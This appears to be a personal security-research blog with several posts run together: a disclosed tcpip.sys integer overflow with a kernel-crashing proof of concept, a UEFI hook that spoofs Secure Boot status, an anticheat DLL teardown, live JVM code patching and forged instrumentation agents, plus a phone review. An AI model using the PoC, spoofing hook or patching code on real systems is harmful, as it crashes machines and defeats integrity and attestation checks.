Or, why count * size needs checking too

Earlier this year, I found an integer overflow in tcpip.sys, Windows' network driver. It was fixed in the July 2026 security update and is now CVE-2026-58532.

I was originally interested in poking around tcpip.sys after reading another researcher's write-up on an RCE in the driver caused by a similar bug. It made me curious about the less obvious parsing and deserialisation paths in the networking stack, which is how I ended up looking at ALE redirect records.

This is a pretty simple bug at its core. A 64-bit count is multiplied by the size of a record, the result wraps, and a bounds check suddenly stops meaning anything. Unfortunately, that happens in a kernel deserialiser that then starts allocating and copying records it was never actually given.

The path

The entry point is SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS, a Winsock socket control operation passed to WSAIoctl.

That goes through the WFP ALE handling code in tcpip.sys and eventually lands in AleRedirectRecordsDeserializeFromBuffer. The input starts with a 64-bit record count followed by serialised redirect records. Each record is 0x228 bytes.

This is the call chain from the crash I captured:

tcpip!AleRedirectRecordsDeserializeFromBuffer+0x18d
tcpip!WfpAleProcessSocketOption+0x273
tcpip!InetInspectSocketOption+0x60
tcpip!TcpSetSockOptEndpoint+0xc75
afd!AfdTLIoControl+0x986
WS2_32!WSAIoctl+0x182

The bug

Before it starts deserialising records, the function checks that the buffer is large enough for the number of records it was told about. The relevant check is basically this:

count * 0x228 <= remainingLength

Looks fine, right? Except count is user-controlled and the multiplication is unsigned 64-bit arithmetic with no overflow check.

The count I used was 0x2000000000000000.

0x2000000000000000 * 0x228 = 0x45 * 2^64

So, in a 64-bit register, the result is just zero. 0 <= remainingLength is true for basically any buffer, including the tiny 16-byte one in the proof of concept.

The check passes, even though the count claims there are an absurd number of 0x228-byte records waiting to be read.

What happens next

The interesting part is that the bad multiplication is only the start of it. After the check succeeds, the function believes the records are there and starts processing them.

This is the important part of the routine, cleaned up a bit so it is readable:

uint64_t recordCount = *(uint64_t *)input;

if (recordCount * 0x228 > remainingLength)
    return STATUS_INVALID_PARAMETER;

while (recordCount != 0) {
    record = allocate_pool(0x228, 'AlcR');
    copy_memory(record, input, 0x228);

    input += 0x228;
    remainingLength -= 0x228;
    recordCount--;

    variableLength = *(uint32_t *)((uint8_t *)record + 0x1e8);
    /* More allocation and copy work happens from here. */
}

The first 0x228-byte copy reads past the end of the input. Then remainingLength underflows, which means later bounds checks are now working with something close to ULONGLONG_MAX instead of the actual number of bytes left.

There is also a variable-length field around offset 0x1e8 in the copied record. Later code uses the deserialised record to drive more allocation and copy operations, so this is much more than a harmless arithmetic mistake.

The PoC

This is the proof of concept I submitted:

cl /W4 poc_ale_redirect_overflow.c ws2_32.lib

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdint.h>

#pragma comment(lib, "ws2_32.lib")

#define SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS 0x980000DEu

int main(void)
{
    WSADATA wsa;
    SOCKET sock;
    DWORD ret = 0;

    WSAStartup(MAKEWORD(2, 2), &wsa);

    sock = WSASocketW(AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if (sock == INVALID_SOCKET)
        sock = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    if (sock == INVALID_SOCKET) {
        printf("socket failed: %d\n", WSAGetLastError());
        return 1;
    }

    uint8_t buf[16] = {0};
    *(uint64_t *)buf = 0x2000000000000000ULL;

    WSAIoctl(sock, SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS,
             buf, sizeof(buf), NULL, 0, &ret, NULL, NULL);

    printf("returned %d\n", WSAGetLastError());
    closesocket(sock);
    WSACleanup();
    return 0;
}

That is it. Make a socket, give the control operation a 16-byte buffer, and set the first eight bytes to the overflowing count.

On a vulnerable build, the system bug checks. In my crash, the fault showed up during cleanup through tcpip!WfpAleDecrementWaitRef, after AleRedirectRecordsDeserializeFromBuffer had already processed the malformed input.

The serialiser was doing it properly

What made this especially nice to analyse was the matching serialisation code. It uses checked arithmetic while calculating the output size, including explicit overflow handling when it adds sizes together.

The deserialiser did not do the equivalent thing for count * 0x228 before using that result as a bounds check. One direction of the format was careful, the other was not.

The fix for this kind of bug is simple. Either use checked multiplication or avoid the multiplication entirely:

if (count > remainingLength / 0x228)
    return STATUS_INVALID_PARAMETER;

Disclosure

I reported this to MSRC on 20 April 2026. Microsoft later confirmed the behaviour, classified it as an elevation of privilege vulnerability, and fixed it in the July 2026 security updates.

The CVE is CVE-2026-58532, and Microsoft acknowledged me as aprilpet. There is also an NVD entry.

TL;DR

• tcpip.sys trusted a user-controlled 64-bit record count.
• it multiplied that count by 0x228 without checking for overflow.
• the product wrapped to zero, so a tiny buffer passed the size check.
• the deserialiser then copied records that did not exist and underflowed its remaining-length counter.

Checked arithmetic is boring, but not having it is even more boring when it is in a kernel parser.

It has been a year since I got my Pixel 9 Pro, and I still love it. I wrote about my first impressions last year, so this feels like a good time to revisit it now that I have actually lived with the phone for a while.

The camera

The camera is still incredible. I have taken countless photos over the past year and it has not let me down once. These are a few recent ones I am especially happy with:

The long-exposure mode has been particularly fun to play around with :3

Android

Being able to use things such as ReVanced and generally tinker with the phone has been great. It is one of the things I missed most while using an iPhone, and it remains one of my favourite parts of Android. I do not think I could go back.

Battery and performance

Battery life is still fantastic. Even with heavy use, I usually finish the day with a comfortable amount left. Performance is generally good too, although Firefox and a few other browsers can occasionally become laggy. It is annoying, but not annoying enough to spoil the phone.

The one regret

I should have bought the version with more storage. RAW photographs are enormous, and space has become more of a problem as the year has gone on. If you are considering one and expect to use the camera heavily, get the higher-capacity model.

Durability

I have cracked it a few times because I am an idiot :') My dbrand case and screen protector have genuinely prevented it from ending up in a much worse state, so both have been well worth buying.

Final thoughts

A year later, my only real complaints are the storage situation and occasional browser lag. I will be sticking with Android, and when it is eventually time to upgrade, I will probably just buy the next Pixel.

Thanks for reading :3

mcsrfairplay is the mod used for Minecraft Java Edition speedruns for ensuring integrity. It ships a native DLL (fairplay_lib_x64.dll) that does a bit of the monitoring work, and I was curious how deep it went so I loaded it up in Ghidra.

The Java side uses XOR encrypted strings and I/l lookalike class names like IIIIIlI, lIlIlII. Not that interesting, you just find every invokestatic to the decryptor and replay the XOR to get the real strings. The native component is where it gets fun :3

The Obfuscation

The first thing you notice is every function has the same weird dead code pattern throughout it:

bVar8 = ((DAT_180061758 + -1) * DAT_180061758 & 1U) == 0;
if ((DAT_18006175c >= 10 || !bVar8) && (DAT_18006175c < 10 == bVar8))
    goto LAB_180005915;  // never taken
while (true) {
    BCryptOpenAlgorithmProvider(
        (BCRYPT_ALG_HANDLE *)(lVar1 + 0x10), L"SHA512", (LPCWSTR)0x0, 0);
    bVar8 = ((DAT_180061760 + 1) * DAT_180061760 & 1U) == 0;
    if ((DAT_180061764 < 10 && bVar8) || (DAT_180061764 < 10 != bVar8)) break;  // always breaks
}

(n-1)*n and (n+1)*n are always even so & 1 is always 0. The branch conditions are constant at runtime, the whole goto / while (true) structure is just there to duplicate blocks and confuse the decompiler. Once you know what to look for you can skip past it every time and get to the real code.

What It Does

There are five exports: JNI_OnLoad, NativeCallback_a, NativeCallback_b, NativeCallback_c, and entry. JNI_OnLoad sets up a critical section to guard a global module hash map, caches a Java callback method (j on class exersolver/mcsrfairplay/natives/NativeCallback, one character presumably to be less obvious), and installs MinHook on LoadLibraryW and LoadLibraryA to catch any DLLs loaded after startup.

NativeCallback_a then spawns a thread that does a one-shot snapshot of every module already in the process via Toolhelp32:

snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
Module32FirstW(snap, &me32);
do {
    result = FUN_180010470(me32.szExePath);
    // acquire mutex, insert into hash map, release
    // call NativeCallback.j() with result
} while (Module32NextW(snap, &me32));
CloseHandle(snap);

FUN_180010470 is the interesting part. It builds a 6-field record for each module covering the path, SHA-512 hash, PE metadata, creation timestamp, last-write timestamp, and Authenticode status. The SHA-512 is computed via BCrypt:

// this is the part that matters, everything else is obfuscation scaffolding
BCryptOpenAlgorithmProvider(hAlg, L"SHA512", NULL, 0);
BCryptCreateHash(hAlg, &hHash, pbHashObject, cbHashObject, NULL, 0, 0);
BCryptHashData(hHash, pbData, cbData, 0);  // hash the file on disk
BCryptFinishHash(hHash, pbOutput, cbOutput, 0);

The reason this is significant is that it is hashing the actual file on disk. If you swap out or patch a DLL on disk, the hash won't match what was recorded at startup and the run gets flagged.

Timestamps come from a helper that takes a flag to switch between creation time and last-write time:

hFile = CreateFileW(param_2, 0x80000000, 1, NULL, 3, 0, NULL);

p_Var9 = (LPFILETIME)(*plVar5 + 0x110);  // lpCreationTime
p_Var6 = (LPFILETIME)0x0;
if (param_3 == '\0') {
    p_Var9 = p_Var6;
    p_Var6 = &local_3c8;                 // lpLastWriteTime instead
}
GetFileTime(hFile, p_Var9, NULL, p_Var6);  // the actual read we care about

// formatting, not that interesting
FileTimeToLocalFileTime((FILETIME *)(lVar2 + 0x110), (LPFILETIME)(*plVar5 + 0x10));
FileTimeToSystemTime((FILETIME *)(lVar2 + 0x10), (LPSYSTEMTIME)(*plVar5 + 0x10));

uVar1 = *(uint *)(*plVar5 + 0x88);  // CERT_TRUST_STATUS.dwErrorStatus
switch (((uVar1 ^ 0xffffffdd) & uVar1) == 2) { }  // cert trust check

That cert check at the end is interesting, ((uVar1 ^ 0xffffffdd) & uVar1) == 2 is testing specific bits in dwErrorStatus. 0xffffffdd flips bits 1 and 5, so it is essentially checking for CERT_TRUST_NO_SIGNATURE. The Authenticode strings ([Signed], [Unsigned], [Hash Failed: ...]) come from WinVerifyTrust which is not in the static import table and is resolved dynamically via GetProcAddress, which is why Ghidra shows no xrefs to it.

NativeCallback_b and _c are a nice little trick. _b copies a Java byte array into a native global buffer:

iVar2 = (**(code **)(*param_1 + 0x558))(param_1, param_3);      // GetArrayLength
puVar3 = (**(code **)(*param_1 + 0x5c0))(param_1, param_3, 0); // GetByteArrayElements

if ((ulonglong)(DAT_1800615c0 - DAT_1800615b0) < uVar4) {
    FUN_18001e740(&DAT_1800615b0, uVar4);  // resize if needed
}
FUN_180025080(DAT_1800615b0, puVar3, uVar4);  // memcpy into native buffer
DAT_1800615b8 = (longlong)puVar1 + uVar4;
(**(code **)(*param_1 + 0x600))(param_1, param_3, puVar3, 2);  // ReleaseByteArrayElements

_c then takes another byte array and compares it against what is stored there. The Java side generates a nonce with SecureRandom, stores it in native via _b, then a daemon thread named FairPlay-Native periodically calls _c with the same bytes. Mismatch logs heartbeatError. If you patch the native buffer in memory the nonce no longer matches and it fires.

The Java callback NativeCallback.j() gets the 6-field record and checks if the module is already in a HashSet of seen paths, then checks the filename against a whitelist of prefixes: jna, native_fairplay_lib, liblogger, libjcocoa, JNativeHook. If it is new and not whitelisted it gets logged and reported back to the mcsrfairplay backend:

moduleLoaded <base64(path)> <filename> <base64(authenticode_status)> <sha512_hex>

Path and signature are base64 encoded since they contain spaces. The run can then be flagged as potentially compromised on the backend side. Every DLL that touches the process gets a full fingerprint, the LoadLibrary hooks catch injections in real time, the startup snapshot catches anything preloaded, and the heartbeat makes in-memory patching detectable. It's okay for a basic anticheat ..

Thanks for reading :3

Background

Windows works out Secure Boot status by reading EFI variables during boot. winload.efi reads the SecureBoot and SetupMode variables, and if SecureBoot == 1 and SetupMode == 0, it sets the kernel global nt!SeSecureBoot accordingly. Everything downstream reads from this, NtQuerySystemInformation(SystemSecureBootInformation), ExGetFirmwareEnvironmentVariable, usermode GetFirmwareEnvironmentVariable, all of it.

So the question was, can you intercept that read before Windows even sees it?

The Hook

UEFI exposes a RuntimeServices table, a set of function pointers that persist from firmware all the way into the OS. One of those is GetVariable, which is how any UEFI aware code reads EFI variables. Because it is just a pointer in a table, you can swap it from an EFI driver before ExitBootServices, and it stays swapped.

So that is exactly what I did. Hook RuntimeServices->GetVariable, intercept calls for SecureBoot and SetupMode, and return what Windows expects to see on a real Secure Boot system.

unsafe extern "efiapi" fn hooked_get_variable(
    variable_name: *const u16,
    vendor_guid: *const Guid,
    ...,
) -> Status {
    if cmp_name(variable_name, SECURE_BOOT_NAME) && *vendor_guid == EFI_GLOBAL_VARIABLE {
        *data = 1;
        return Status::SUCCESS;
    }
    if cmp_name(variable_name, SETUP_MODE_NAME) && *vendor_guid == EFI_GLOBAL_VARIABLE {
        *data = 0;
        return Status::SUCCESS;
    }
    ORIG_GET_VARIABLE(variable_name, vendor_guid, ...)
}

Anything that is not one of those two variables falls through to the real firmware function, so nothing else breaks.

Finding the Call Chain in Ghidra

To work out exactly what winload reads and when, I loaded winload.efi into Ghidra and traced down to SbIsEnabled2, which is the function that decides whether Secure Boot is considered active. Here is the actual decompiled output:

undefined8 SbIsEnabled2(undefined8 param_1, undefined1 *param_2)
{
    int iVar1;
    char local_res10 [8];  // SecureBoot value
    char local_res18 [8];  // SetupMode value
    undefined8 local_res20;

    if (DAT_1803115ff == '\0') {  // only runs once, result is cached
        local_res10[0] = '\0';
        local_res18[0] = '\x01';
        local_res20 = 1;

        // read SetupMode first, bail out entirely if it fails
        iVar1 = FUN_1800460fc(L"SetupMode", &DAT_1802bf4c8, 0, &local_res20, local_res18);
        if (-1 < iVar1) {
            local_res20 = 1;

            // read SecureBoot only if SetupMode succeeded
            iVar1 = FUN_1800460fc(L"SecureBoot", &DAT_1802bf4c8, 0, &local_res20, local_res10);

            // SecureBoot must be 1 AND SetupMode must be 0
            if (((-1 < iVar1) && (DAT_1803388d0 = DAT_1803388d0 | 8, local_res10[0] == '\x01')) &&
               (local_res18[0] == '\0')) {
                DAT_180311644 = 1;  // cached secure boot state, everything else reads this
            }
        }
        DAT_1803115ff = '\x01';  // mark as initialised
    }
    *param_2 = DAT_180311644;
    return 0;
}

And FUN_1800460fc is the actual GetVariable wrapper it calls:

void FUN_1800460fc(undefined8 param_1, undefined8 param_2, undefined4 *param_3,
                   undefined8 param_4, undefined8 param_5)
{
    int iVar1;
    undefined8 uVar2;
    undefined4 local_res18 [4];
    undefined8 local_48;
    undefined8 local_40;
    undefined8 local_38 [2];

    local_res18[0] = 0;
    local_48 = 0;
    local_40 = 0;
    local_38[0] = 0;

    iVar1 = FUN_180043518();  // check current TPL (task priority level)
    if ((iVar1 != 1) && (DAT_180351b90 != 0)) {
        // virtual address fixups for runtime mode
        FUN_1801ce4a4(param_5, &local_48, 0);
        param_5 = local_48;
        FUN_1801ce4a4(param_1, &local_40, 0);
        param_1 = local_40;
        FUN_1801ce4a4(param_2, local_38, 0);
        param_2 = local_38[0];
        FUN_180043458(1);
    }

    // actual GetVariable call into the runtime services table
    // this is where our hook intercepts
    uVar2 = thunk_FUN_1802a9020(param_1, param_2, local_res18, param_4, param_5);

    if (iVar1 != 1) {
        FUN_180043458(iVar1);  // restore TPL
    }
    if (param_3 != (undefined4 *)0x0) {
        *param_3 = local_res18[0];  // write attributes back to caller if requested
    }
    FUN_180046c54(uVar2);  // status check
    return;
}

thunk_FUN_1802a9020 is where it actually calls into the runtime services table, so that is where the hook sits and intercepts before the real firmware ever sees the request.

Some thigns that stand out from SbIsEnabled2 are, It reads SetupMode first and only bothers reading SecureBoot if that succeeded. Then it requires SecureBoot == 1 AND SetupMode == 0 before setting the cached state. So you have to spoof both variables, not just SecureBoot. My first attempt only spoofed SecureBoot and used the wrong GUID on top of that, so nothing worked and I had no idea why :')

Pretty neat for what is essentially just a pointer swap :3

Have you ever wondered what happens after HotSpot compiles a hot method to native code? This post explores a silly little trust assumption in the JVM: once code has been JIT-compiled, the VM does not verify that it still matches the bytecode. We can use that to make a Java method do whatever we want :3

The Trust Model

When you write Java code, it goes through several stages before actually executing. Your .java files compile to bytecode, which the JVM initially interprets. Once a method gets "hot" (called frequently enough), HotSpot's JIT compiler kicks in and generates native machine code for your platform

Here is the interesting part. After compilation, the JVM stores a pointer from the method's internal structure to the compiled code and just... trusts it. There is no integrity check to confirm that the native code still corresponds to the original bytecode.

Setting Up Our Target

First, we need a method that'll definitely get JIT compiled. Something expensive enough to trigger compilation but simple enough to understand:

public class Main {
    public static void main(String[] args) throws InterruptedException {
        System.out.println("Starting JIT hijack demo...");
        System.out.println("Warming up JIT...");
        
        for (int i = 0; i < 20000; i++) {
            expensiveMethod(67);
        }
        
        System.out.println("JIT compiled. Running...\n");
        
        int callCount = 0;
        int lastResult = 0;
        
        while (true) {
            int result = expensiveMethod(67);
            callCount++;
            
            if (result != lastResult) {
                System.out.println("[!] Result changed: " + lastResult + " -> " + result);
                lastResult = result;
            }
            
            if (callCount % 500 == 0) {
                System.out.println("[" + callCount + " calls] expensiveMethod(67) = " + result);
            }
            
            Thread.sleep(10);
        }
    }

    public static int expensiveMethod(int x) {
        int acc = x;
        for (int i = 0; i < 1000; i++) {
            acc ^= (acc << 3) + i;
            acc = Integer.rotateLeft(acc, 7);
        }
        return acc;
    }
}

The loop runs 1000 iterations with bit manipulation, enough to be "expensive" and trigger JIT compilation quickly. We're also printing the result periodically so we can see when our hijack works !!

Run it with the following flags:

java -XX:+PrintCompilation -XX:CompileCommand=dontinline,ivy/april/Main.expensiveMethod -cp build/classes/java/main ivy.april.Main

The -XX:+PrintCompilation flag shows us when methods get compiled, and dontinline prevents HotSpot from inlining our target method into main(), which would make it more annoying to find

You'll see output like this as HotSpot compiles our method:

  1000  117 %     3       ivy.april.Main::expensiveMethod @ 4 (34 bytes)
  1030  118       3       ivy.april.Main::expensiveMethod (34 bytes)
  1646  119 %     4       ivy.april.Main::expensiveMethod @ 4 (34 bytes)
  1788  120       4       ivy.april.Main::expensiveMethod (34 bytes)

The % means it's an OSR (on-stack replacement) compilation, and the numbers 3 and 4 are compilation tiers. Tier 4 is C2, the optimising compiler

Understanding HotSpot's Internal Structures

Before we can hijack anything, we need to understand how HotSpot organises compiled code. There are three key structures.

Method*

This is HotSpot's internal representation of a Java method. It lives in Metaspace and contains everything the VM needs to know about a method: its bytecode, access flags, constant-pool references, and, most importantly, a _code field that points to the compiled native code.

Looking at src/hotspot/share/oops/method.hpp, we can see the following fields:

// Entry point for calling from compiled code, to compiled code if it exists
// or else the interpreter.
volatile address _from_compiled_entry;     // Cache of: _code ? _code->entry_point() : _adapter->c2i_entry()
// The entry point for calling both from and to compiled code is
// "_code->entry_point()".  Because of tiered compilation and de-opt, this
// field can come and go.  It can transition from null to not-null at any
// time (whenever a compile completes).  It can transition from not-null to
// null only at safepoints (because of a de-opt).
nmethod* volatile _code;                   // Points to the corresponding piece of native code

When a method is only being interpreted, _code is null. Once JIT compilation happens, this pointer gets set to the newly created nmethod. Notice the comment, the VM knows this field "can come and go" but there's no integrity checking!

nmethod

The nmethod structure represents a compiled method in the CodeCache. It is defined in src/hotspot/share/code/nmethod.hpp and contains the machine code, garbage-collection metadata, deoptimisation information, exception-handling tables, and references back to the Method*.

The structure has entry points that the VM jumps to when calling the method:

// offsets for entry points
address  _osr_entry_point;       // entry point for on stack replacement
uint16_t _entry_offset;          // entry point with class check
uint16_t _verified_entry_offset; // entry point without class check

And there's helper methods to get the actual addresses:

address entry_point() const          { return code_begin() + _entry_offset;          } // normal entry point
address verified_entry_point() const { return code_begin() + _verified_entry_offset; }   // if klass is correct

The verified_entry_point is what gets called when the VM already knows the receiver type is correct, this is usually the one we care about for static methods

CodeCache

All compiled code lives in a special region of memory called the CodeCache. It's executable memory managed by the JVM, separate from the Java heap. You can see its bounds with -XX:+PrintCodeCache

Finding Our Target

I used HSDB (HotSpot Debugger) to locate our compiled method. After attaching to the running JVM process with jhsdb hsdb, I navigated to the Class Browser and found ivy.april.Main:

public class ivy.april.Main @0x000001e663000800
  Methods:
  * public static int expensiveMethod(int) @0x000001e6a3400458

That @0x000001e6a3400458 is our Method* pointer. Clicking on it reveals more details, including the compiled code:

Compiled Code:
[Entry Point] [Verified Entry Point] 0x000001e64d1e39a0: sub $0x18,%rsp

So we have:

• Method* at 0x000001e6a3400458
• nmethod at 0x000001e64d1e3810
• Entry point at 0x000001e64d1e39a0

Analysing the Compiled Code

Let's look at what HotSpot actually generated. Here's the beginning of the compiled expensiveMethod:

0x000001e64d1e39a0:    sub    rsp, 0x18
0x000001e64d1e39a7:    mov    qword ptr [rsp+0x10], rbp
0x000001e64d1e39ac:    cmp    dword ptr [r15+0x20], 1
0x000001e64d1e39b4:    jne    0x000001e64d1e3b25
0x000001e64d1e39ba:    lea    r10d, [rdx*8]
0x000001e64d1e39c2:    xor    r10d, edx
0x000001e64d1e39c5:    rorx   eax, r10d, 0x19

Let's break this down!

Stack frame setup:

sub    rsp, 0x18                  ; Allocate 24 bytes of stack space
mov    qword ptr [rsp+0x10], rbp  ; Save frame pointer

Safepoint poll:

cmp    dword ptr [r15+0x20], 1    ; Check safepoint state
jne    0x000001e64d1e3b25         ; Jump to slow path if safepoint needed

In HotSpot on x64, r15 is reserved as the thread pointer. Offset 0x20 contains the safepoint state. This check happens at method entry so the VM can stop threads for garbage collection

The actual computation:

lea    r10d, [rdx*8]          ; r10 = x * 8 (the << 3)
xor    r10d, edx              ; r10 ^= x
rorx   eax, r10d, 0x19        ; rotate right by 25 (same as left by 7)

The JIT has completely unrolled our loop :3 instead of 1000 iterations with branches, it's doing 16 iterations per loop cycle to reduce branch overhead, all those rorx instructions are our Integer.rotateLeft() calls, and the lea/xor pairs are the acc ^= (acc << 3) + i operations

Here's the loop structure:

0x000001e64d1e39e0:    mov    r8d, r10d
0x000001e64d1e39e3:    lea    r10d, [r8+rax*8]
0x000001e64d1e39e7:    xor    r10d, eax
                                                  ; ... 14 more unrolled iterations ...
0x000001e64d1e3ad2:    cmp    r10d, 0x3e1         ; Compare to 993
0x000001e64d1e3ad9:    jl     0x000001e64d1e39e0  ; Loop back if < 993

The loop processes 16 iterations at a time, then checks if we've hit 993 (0x3E1). A cleanup loop handles the remaining iterations

Method epilogue:

0x000001e64d1e3afc:    add    rsp, 0x10                   ; Clean up stack
0x000001e64d1e3b00:    pop    rbp                         ; Restore frame pointer
0x000001e64d1e3b01:    cmp    rsp, qword ptr [r15+0x450]  ; Stack overflow check
0x000001e64d1e3b08:    ja     0x000001e64d1e3b0f          ; Jump if overflow
0x000001e64d1e3b0e:    ret                                ; Return to caller

The cmp rsp, [r15+0x450] is checking for stack overflow before returning. If the stack pointer is above the limit stored in the thread structure, it jumps to a handler.

The Hijack

Now for the cool part. All we need to do is overwrite the first few bytes at the entry point. The JVM will jump to this address expecting compiled code and execute whatever we put there.

Let's replace the method with something simpler:

mov eax, 1337    ; B8 39 05 00 00
ret              ; C3

That's all it takes. The method now ignores its input, skips all the computation, and returns 1337 :3

Using a DLL attached to the VM, we can do:

uint8_t thingy[] = {0xB8, 0x39, 0x05, 0x00, 0x00, 0xC3};

DWORD old;
VirtualProtect((void*)entryAddr, sizeof(thingy), PAGE_EXECUTE_READWRITE, &old);
memcpy((void*)entryAddr, thingy, sizeof(thingy));
VirtualProtect((void*)entryAddr, sizeof(thingy), old, &old);

We need VirtualProtect because the CodeCache is executable but not writable by default. We temporarily make it writable, patch it, and then restore the original protection. On Linux, you would use mprotect instead.

The Result

After patching, the console shows:

[4500 calls] expensiveMethod(67) = -990666027
[5000 calls] expensiveMethod(67) = -990666027
[!] Result changed: -990666027 -> 1337
[5500 calls] expensiveMethod(67) = 1337
[6000 calls] expensiveMethod(67) = 1337

The [!] Result changed line appears the instant our patch hits. The VM is now executing our payload, completely unaware that the "compiled" method no longer matches its bytecode

Conclusion

We have seen how HotSpot's trust model works: bytecode is verified, but compiled code is trusted. By locating the Method*, following its _code pointer to the nmethod, and patching the entry point, we can make a Java method do whatever we want.

Is this especially useful? Probably not. It is, however, very interesting :O

Thanks for reading! :3

The Java Instrumentation API is typically accessed through the -javaagent command line flag, but what if you want instrumentation capabilities in an already running process? Today I'll show you how to create a fully functional Instrumentation object without ever using -javaagent.

The 'What' and 'Why' of Instrumentation

Before we dive into the native-side "how," let's quickly cover the "what" and "why."

So, what even is instrumentation? At its core, the java.lang.instrument API is a way to hook into the JVM's class-loading process. It lets you get the raw bytecode of a class before it's used, and you can change it. This is called "transforming." You can add logging, check for security stuff, or monitor performance, all without touching the original .java file.

This Java API is just a nice wrapper around a deeper, native layer. This is the JVMTI (JVM Tool Interface). To do the really cool stuff, like redefining classes that are already loaded, the native code needs to ask the JVM for permission. These permissions are called capabilities, like can_redefine_classes or can_retransform_classes.

This brings us to the whole point of this post. The standard -javaagent flag is great, but you have to specify it on the command line before the process starts. What if you want to attach a profiler or a security tool to a Java server that's already running and you can't restart it? This technique shows you how to bypass the normal startup requirements, build all the internal JVM structures by hand, and get a fully-powered Instrumentation object in a live process.

The Standard Approach

Normally, you'd get instrumentation like this

// Agent.java
public class Agent {
    public static void premain(String args, Instrumentation inst) {
        // inst is provided by the JVM
        inst.addTransformer(new MyTransformer());
    }
}

Then run with

java -javaagent:agent.jar -jar application.jar

The JVM creates an Instrumentation instance and passes it to your premain method, but what actually happens under the hood?

JPLIS Internals

The Java programming language Instrumentation services (JPLIS) is the native component that implements the Instrumentation API. When you use -javaagent, the JVM loads your agent jar and creates a native JPLISAgent structure.

This structure lives in JPLISAgent.h and looks like this

// from JPLISAgent.h
struct _JPLISAgent {
    JavaVM* mJVM;
    JPLISEnvironment mNormalEnvironment;
    JPLISEnvironment mRetransformEnvironment;
    jobject mInstrumentationImpl; // handle to the Instrumentation instance
    jmethodID mPremainCaller;
    jmethodID mAgentmainCaller;
    jmethodID mTransform;
    jboolean mRedefineAdded;
    jboolean mNativeMethodPrefixAdded;
    // ... more fields
};

The key insight is that sun.instrument.InstrumentationImpl (the concrete implementation of the Instrumentation interface) is just a regular Java class that wraps this native structure. In the Java class, this is stored in a long field

// from sun.instrument.InstrumentationImpl.java
// needs to store a native pointer, so use 64 bits
private final     long            mNativeAgent;

Its constructor signature is

// from sun.instrument.InstrumentationImpl.java
private
InstrumentationImpl(long   nativeAgent,
                    boolean environmentSupportsRedefineClasses,
                    boolean environmentSupportsNativeMethodPrefix,
                    boolean printWarning) {
    mNativeAgent = nativeAgent;
    // ...
}

The first parameter is a pointer to the native JPLISAgent structure, cast to a long. The JVM doesn't actually validate that this pointer came from a legitimate agent loading process. it just stores it and uses it when you call Instrumentation methods.

Getting JVMTI Without an Agent

Before we can create a fake agent, we need JVMTI access. Normally this requires loading a native agent with -agentlib, but there's a simpler way.

From any native code running in the process, you can get the JVM handle

JavaVM* jvm = nullptr;
jsize vmCount = 0;
JNI_GetCreatedJavaVMs(&jvm, 1, &vmCount);

JNI_GetCreatedJavaVMs is part of the JNI Invocation API and returns handles to all JVMs in the current process. Once you have the JavaVM*, getting JVMTI is trivial

jvmtiEnv* jvmti = nullptr;
jvm->GetEnv((void**)&jvmti, JVMTI_VERSION_1_2);

Now you have full JVMTI access without any agent setup. But there's a catch, many JVMTI capabilities (like can_retransform_classes) can only be added during the OnLoad phase, which happens before the JVM fully starts up. If you try adding them later, you'll get JVMTI_ERROR_NOT_AVAILABLE.

This is where the fake agent trick comes in.

Creating a Fake JPLISAgent

The trick is to manually construct a JPLISAgent structure that looks exactly like one the JVM would have created during proper agent loading. First, we need to replicate the structure layout from JPLISAgent.h

struct _JPLISEnvironment {
    jvmtiEnv* mJVMTIEnv;
    JPLISAgent* mAgent;
    jboolean mIsRetransformer;
};

// this is the full struct from JPLISAgent.h
struct _JPLISAgent {
    JavaVM* mJVM;
    JPLISEnvironment mNormalEnvironment;
    JPLISEnvironment mRetransformEnvironment;
    jobject mInstrumentationImpl;
    jmethodID mPremainCaller;
    jmethodID mAgentmainCaller;
    jmethodID mTransform;
    jboolean mRedefineAvailable;
    jboolean mRedefineAdded;
    jboolean mNativeMethodPrefixAvailable;
    jboolean mNativeMethodPrefixAdded;
    char const* mAgentClassName;
    char const* mOptionsString;
    const char* mJarfile;
    jboolean mPrintWarning;
};

These structures must match OpenJDK's internal layout exactly, as the JVM will dereference this pointer when you use instrumentation methods. Any misalignment will cause crashes.

Now we create and initialise the fake agent

JPLISAgent* createDummyAgent(JavaVM* vm, jvmtiEnv* jvmti) {
    // allocate using JVMTI so it's in the right memory space
    JPLISAgent* agent = (JPLISAgent*)allocate(jvmti, sizeof(JPLISAgent));
    
    agent->mJVM = vm;
    agent->mNormalEnvironment.mJVMTIEnv = jvmti;
    agent->mNormalEnvironment.mAgent = agent;
    agent->mNormalEnvironment.mIsRetransformer = JNI_FALSE;
    
    // critical: leave this null
    agent->mRetransformEnvironment.mJVMTIEnv = nullptr;
    agent->mRetransformEnvironment.mAgent = agent;
    agent->mRetransformEnvironment.mIsRetransformer = JNI_TRUE;
    
    agent->mRedefineAdded = JNI_TRUE;
    agent->mNativeMethodPrefixAdded = JNI_TRUE;
    // ... initialise other fields
    
    // store in JVMTI local storage so callbacks can find it
    jvmti->SetEnvironmentLocalStorage(&agent->mNormalEnvironment);
    
    return agent;
}

The SetEnvironmentLocalStorage call is crucial. When JVMTI callbacks fire (like ClassFileLoadHook), the VM retrieves the agent structure using GetEnvironmentLocalStorage. If it's not set, callbacks won't work properly. This is exactly what the real initializeJPLISAgent in JPLISAgent.c does

// from JPLISAgent.c
JPLISInitializationError
initializeJPLISAgent(   JPLISAgent * agent,
                        JavaVM * vm,
                        jvmtiEnv * jvmtienv,
                        /*...*/) {
    // ...
    /* make sure we can recover either handle in either direction.
    * the agent has a ref to the jvmti; make it mutual
    */
    jvmtierror = (*jvmtienv)->SetEnvironmentLocalStorage(
                                            jvmtienv,
                                            &(agent->mNormalEnvironment));
    /* can be called from any phase */
    jplis_assert(jvmtierror == JVMTI_ERROR_NONE);
    // ...
}

We're just replicating the official setup.

There's a subtle trick with the retransform environment. By setting mRetransformEnvironment.mJVMTIEnv = nullptr but mNormalEnvironment.mJVMTIEnv = jvmti, we force the JVM to register the class file load hook in the normal environment. this is handled by the retransformableEnvironment function in JPLISAgent.c, which checks if the retransform environment already exists before creating a new one

// from JPLISAgent.c
jvmtiEnv *
retransformableEnvironment(JPLISAgent * agent) {
